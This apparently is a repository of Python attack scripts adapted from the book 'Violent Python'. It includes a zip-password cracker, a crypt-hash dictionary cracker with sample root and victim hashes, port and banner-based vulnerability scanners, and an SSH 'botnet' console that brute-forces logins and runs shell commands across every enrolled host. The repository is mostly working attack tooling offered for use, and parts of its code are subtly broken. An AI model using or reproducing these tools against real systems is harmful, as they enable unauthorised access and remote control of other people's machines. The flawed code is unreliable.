├── zip_crack ├── evil.zip ├── dictionary.txt └── zip_crack.py ├── password_crack ├── passwords.txt └── password_crack.py ├── README.md ├── vuln_scanner ├── vuln-banners.txt └── vuln_scanner.py ├── nmap_scan.py ├── .gitignore ├── port_scan.py ├── bot_net.py └── LICENSE /zip_crack/evil.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BLTSEC/violent-python3/HEAD/zip_crack/evil.zip -------------------------------------------------------------------------------- /zip_crack/dictionary.txt: -------------------------------------------------------------------------------- 1 | apple 2 | orange 3 | egg 4 | lemon 5 | grapes 6 | secret 7 | strawberry 8 | password 9 | -------------------------------------------------------------------------------- /password_crack/passwords.txt: -------------------------------------------------------------------------------- 1 | victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh 2 | root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Violent Python 3 2 | 3 | Python 3 scripts based on lessons learned from Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by TJ O'Connor. 4 | -------------------------------------------------------------------------------- /vuln_scanner/vuln-banners.txt: -------------------------------------------------------------------------------- 1 | 3Com 3CDaemon FTP Server Version 2.0 2 | Ability Server 2.34 3 | CCProxy Telnet Service Ready 4 | ESMTP TABS Mail Server for Windows NT 5 | FreeFloat Ftp Server (Version 1.00) 6 | IMAP4rev1 MDaemon 9.6.4 ready 7 | MailEnable Service, Version: 0-1.54 8 | NetDecision-HTTP-Server 1.0 9 | PSO Proxy 0.9 10 | SAMBAR 11 | Sami FTP Server 2.0.2 12 | Spipe 1.0 13 | TelSrv 1.5 14 | WDaemon 6.8.5 15 | WinGate 6.1.1 16 | Xitami 17 | YahooPOPs! Simple Mail Transfer Service Ready 18 | -------------------------------------------------------------------------------- /nmap_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | import nmap 4 | 5 | 6 | def nmap_scan(tgt_host, tgt_port): 7 | nmscan = nmap.PortScanner() 8 | nmscan.scan(tgt_host, tgt_port) 9 | state = nmscan[tgt_host]['tcp'][int(tgt_port)]['state'] 10 | print("[+] " + tgt_host + " tcp/" + tgt_port + " " + state) 11 | 12 | 13 | def main(): 14 | parser = argparse.ArgumentParser() 15 | parser.add_argument('-H', '--host', help='specify target host') 16 | parser.add_argument('-P', '--port', 17 | help='specify target port[s] separated by comma') 18 | args = parser.parse_args() 19 | 20 | tgt_host = args.host 21 | tgt_ports = str(args.port).split(',') 22 | 23 | if (tgt_host is None) | (tgt_ports[0] is None): 24 | parser.print_help() 25 | exit(0) 26 | for tgt_port in tgt_ports: 27 | nmap_scan(tgt_host, tgt_port) 28 | 29 | 30 | if __name__ == '__main__': 31 | main() 32 | -------------------------------------------------------------------------------- /password_crack/password_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import crypt 4 | 5 | 6 | def test_pass(cryptpass): 7 | salt = cryptpass[0:2] 8 | with open('dictionary.txt', 'r') as dict_file: 9 | for word in dict_file.readlines(): 10 | word = word.strip('\n') 11 | crypt_word = crypt.crypt(word, salt) 12 | if crypt_word == crypt_pass: 13 | print('[+] Found Password: ' + word + '\n') 14 | return 15 | print('[-] Password Not Found.\n') 16 | return 17 | 18 | 19 | if __name__ == '__main__': 20 | with open('passwords.txt', 'r') as pass_file: 21 | for line in pass_file.readlines(): 22 | if ':' in line: 23 | user = line.split(':')[0] 24 | crypt_pass = line.split(':')[1].strip(' ') 25 | print('[*] Cracking Password For: ' + user) 26 | test_pass(crypt_pass) 27 | -------------------------------------------------------------------------------- /zip_crack/zip_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import zipfile 4 | import argparse 5 | from threading import Thread 6 | 7 | 8 | def extract_file(zfile, password): 9 | try: 10 | zfile.extractall(pwd=password) 11 | print('[+] Found Password ' + password + '\n') 12 | except: 13 | pass 14 | 15 | 16 | if __name__ == '__main__': 17 | PARSER = argparse.ArgumentParser("Usage %prog " +\ 18 | "-f -d ") 19 | PARSER.add_argument('-f', dest='zname', type='string',\ 20 | help='specify zip file') 21 | PARSER.add_argument('-d', dest='dname', type='string',\ 22 | help='specify dictionary file') 23 | (OPTIONS, ARGS) = PARSER.parse_args() 24 | if (OPTIONS.zname is None) | (OPTIONS.dname is None): 25 | print(PARSER.usage) 26 | exit(0) 27 | else: 28 | ZNAME = OPTIONS.zname 29 | DNAME = OPTIONS.dname 30 | 31 | ZFILE = zipfile.ZipFile(ZNAME) 32 | with open(DNAME, 'r') as pass_file: 33 | for line in pass_file.readlines(): 34 | password = line.strip('\n') 35 | t = Thread(target=extract_file, args=(ZFILE, password)) 36 | t.start() 37 | -------------------------------------------------------------------------------- /vuln_scanner/vuln_scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import socket 4 | import os 5 | import sys 6 | 7 | 8 | def ret_banner(ip, port): 9 | try: 10 | socket.setdefaulttimeout(2) 11 | s = socket.socket() 12 | s.connect((ip, port)) 13 | banner = s.recv(1024) 14 | return banner 15 | except: 16 | return 17 | 18 | 19 | def check_vulns(banner, filename): 20 | with open(filename, 'r') as f: 21 | for line in f.readlines(): 22 | if line.strip('\n') in banner: 23 | print('[+] Server is vulnerable: ' +\ 24 | banner.strip('\n')) 25 | 26 | 27 | if __name__ == '__main__': 28 | if len(sys.argv) == 2: 29 | filename = sys.argv[1] 30 | if not os.path.isfile(filename): 31 | print('[-] ' + filename +\ 32 | ' does not exist.') 33 | exit(0) 34 | if not os.access(filename, os.R_OK): 35 | print('[-] ' + filename +\ 36 | ' access denied.') 37 | exit(0) 38 | else: 39 | print('[-] Usage: ' + str(sys.argv[0]) +\ 40 | ' ') 41 | exit(0) 42 | 43 | portlist = [21, 22, 25, 80, 110, 443] 44 | for x in range(147, 150): 45 | ip = '192.168.95.' + str(x) 46 | for port in portlist: 47 | banner = ret_banner(ip, port) 48 | if banner: 49 | print('[+] ' + ip + ' : ' + banner) 50 | check_vulns(banner, filename) 51 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /port_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import argparse 5 | import binascii 6 | import socket 7 | import threading 8 | 9 | screen_lock = threading.Semaphore(value=1) 10 | 11 | 12 | def my_conn_scan(tgt_host, tgt_port): 13 | conn_skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 | error = conn_skt.connect_ex((tgt_host, tgt_port)) 15 | screen_lock.acquire() 16 | if not error: 17 | print('[+] %d/tcp open' % tgt_port) 18 | else: 19 | print('[-] %d/tcp closed' % tgt_port) 20 | 21 | screen_lock.release() 22 | conn_skt.close() 23 | 24 | 25 | def conn_scan(tgt_host, tgt_port): 26 | try: 27 | conn_skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | conn_skt.connect((tgt_host, tgt_port)) 29 | conn_skt.send(b'ViolentPython3\r\n') 30 | # results = conn_skt.recv(50) 31 | screen_lock.acquire() 32 | print('[+] %d/tcp open' % tgt_port) 33 | # print('[+] ' + str(results)) 34 | except: 35 | screen_lock.acquire() 36 | print('[-] %d/tcp closed' % tgt_port) 37 | finally: 38 | screen_lock.release() 39 | conn_skt.close() 40 | 41 | 42 | def port_scan(tgt_host, tgt_ports): 43 | try: 44 | tgt_ip = socket.gethostbyname(tgt_host) 45 | except: 46 | print('[-] Cannot resolve "%s": Unkown host' % tgt_host) 47 | return 48 | 49 | try: 50 | tgt_name = socket.gethostbyaddr(tgt_ip) 51 | print('\n[+] Scan Results for: ' + tgt_name[0]) 52 | except: 53 | print('\n[+] Scan Results for: ' + tgt_ip) 54 | 55 | socket.setdefaulttimeout(1) 56 | for tgt_port in tgt_ports: 57 | t = threading.Thread(target=my_conn_scan, args=(tgt_host, int(tgt_port))) 58 | t.start() 59 | 60 | 61 | def main(): 62 | parser = argparse.ArgumentParser() 63 | parser.add_argument('-H', '--host', help='specify target host') 64 | parser.add_argument('-P', '--port', 65 | help='specify target ports[s] separated by comma') 66 | args = parser.parse_args() 67 | 68 | tgt_host = args.host 69 | tgt_ports = str(args.port).split(',') 70 | 71 | if (tgt_host is None) | (tgt_ports[0] is None): 72 | parser.print_help() 73 | exit(0) 74 | 75 | port_scan(tgt_host, tgt_ports) 76 | 77 | 78 | if __name__ == '__main__': 79 | main() 80 | -------------------------------------------------------------------------------- /bot_net.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import cmd 3 | import os 4 | import paramiko 5 | import socket 6 | import timeout_decorator 7 | from paramiko import SSHClient, AutoAddPolicy 8 | 9 | botnet = [] 10 | 11 | 12 | class BotNet(cmd.Cmd): 13 | 14 | undoc_header = None 15 | doc_header = 'Commands (type help ):' 16 | prompt = '(SKYNET) ' 17 | intro = """ 18 | :s: 19 | /dNMNh: 20 | /dNMMMMMNh: 21 | :dNMMMMMMMMMNh- 22 | :hNMMMMMMMMMMMMMNy- 23 | :hNMMMMMMMMMMMMMMMMMNy- 24 | :hNMMMMMMMMMMMMMMMMMNd: 25 | :/` `:hNMMMMMMMMMMMMMMd/` ./. 26 | :yNNd/` `/dNMMMMMMMMMNd/` .omNmo. 27 | -yNMMMMNd+` `/dNMMMMMNd+` .omMMMMMmo. 28 | -yNMMMMMMMMNd+` `/dNMNd/` .omNMMMMMMMNmo. 29 | -yNMMMMMMMMMMMMNd+` `+h/` .omMMMMMMMMMMMMMmo. 30 | -yNMMMMMMMMMMMMMMMMNd+. .omMMMMMMMMMMMMMMMMMmo. 31 | -yNMMMMMMMMMMMMMMMMMMMMMm/ +mMMMMMMMMMMMMMMMMMMMMMm+` 32 | -yNMMMMMMMMMMMMMMMMMMMMMMMMy hMMMMMMMMMMMMMMMMMMMMMMMMm+` 33 | -sNMMMMMMMMMMMMMMMMMMMMMMMMMMy hMMMMMMMMMMMMMMMMMMMMMMMMMNd+` 34 | .sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMy hMMMMMMMMMMMMMMMMMMMMMMMMMMMNd+` 35 | .sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd/` 36 | .sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd/` 37 | `+dmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmms ymmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmy. 38 | 39 | _______ _ _ __ __ __ _ _______ _______ 40 | |______ |____/ \_/ | \ | |______ | 41 | ______| | \_ | | \_| |______ | 42 | """ 43 | 44 | def print_topics(self, header, cmds, cmdlen, maxcol): 45 | # omits do_EOF from showing in the help description 46 | if header is not None: 47 | cmd.Cmd.print_topics(self, header, cmds, cmdlen, maxcol) 48 | 49 | def cmdloop(self, intro=None): 50 | while True: 51 | try: 52 | cmd.Cmd.cmdloop(self, intro) 53 | except KeyboardInterrupt: 54 | print("\nExiting...\n") 55 | exit(0) 56 | 57 | def do_exec_command(self, command): 58 | """exec_command [uname -a] 59 | execute botnet command""" 60 | for client in botnet: 61 | output = client.send_command(command) 62 | print('[*] Output from ' + client.host) 63 | print('[+] ' + output.decode()) 64 | 65 | def do_add_client(self, args): 66 | """add_client [host user password/key] 67 | Add a client to the botnet""" 68 | h, u, p = args.split(" ") 69 | secret_key = self.load_keyfile(p) 70 | if secret_key: 71 | c = Client(host=h, user=u, password=None, key=secret_key) 72 | else: 73 | c = Client(host=h, user=u, password=p) 74 | # either way success/fail a Client object is created 75 | # but if connection failed then the session is null 76 | if c.session: 77 | botnet.append(c) 78 | print("[+] CLIENT ADDED:", c.host) 79 | 80 | def load_keyfile(self, keyfile): 81 | # if keyfile isn't one of these 3 types it 82 | # will be treated as a plaintext password 83 | for cls in (paramiko.RSAKey, paramiko.DSSKey, paramiko.ECDSAKey): 84 | try: 85 | return cls.from_private_key_file(keyfile) 86 | except: 87 | pass 88 | else: 89 | return None 90 | 91 | def do_brute_force(self, args): 92 | """brute_force [host user password/key] 93 | brute force authentication""" 94 | h, u, k = args.split(" ") 95 | if os.path.isdir(k): 96 | for keyfile in k: 97 | argswkey = h + ' ' + ' ' + u + ' ' + k 98 | self.do_add_client(argswkey) 99 | else: 100 | self.do_add_client(args) 101 | 102 | def do_EOF(self, line): 103 | return True 104 | 105 | def postloop(self): 106 | print() 107 | 108 | 109 | class Client: 110 | def __init__(self, host=None, user=None, password=None, key=None): 111 | self.host = host 112 | self.user = user 113 | self.key = key 114 | self.password = password 115 | self.session = self.connect() 116 | 117 | def connect(self): 118 | # this reduces the timeout of SSHClient's connect() 119 | # for failed dns lookups 120 | try: 121 | self.host_check(self.host) 122 | except Exception as e: 123 | # todo logging e 124 | print('[-] CONNECTION FAILED', self.host) 125 | return None 126 | try: 127 | s = SSHClient() 128 | s.set_missing_host_key_policy(AutoAddPolicy()) 129 | if self.password: 130 | s.connect(self.host, port=22, username=self.user, 131 | password=self.password, timeout=1) 132 | else: 133 | s.connect(self.host, port=22, username=self.user, 134 | timeout=1, pkey=self.key) 135 | return s 136 | except Exception as e: 137 | # todo logging e 138 | print('[-] CONNECTION FAILED:', self.host) 139 | 140 | def send_command(self, cmd): 141 | stdin, stdout, stderr = self.session.exec_command(cmd) 142 | return stdout.read() 143 | 144 | @timeout_decorator.timeout(2, use_signals=False) 145 | def host_check(self, host): 146 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 147 | s.connect_ex((host, 22)) == 0 148 | 149 | 150 | if __name__ == '__main__': 151 | BotNet().cmdloop() 152 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------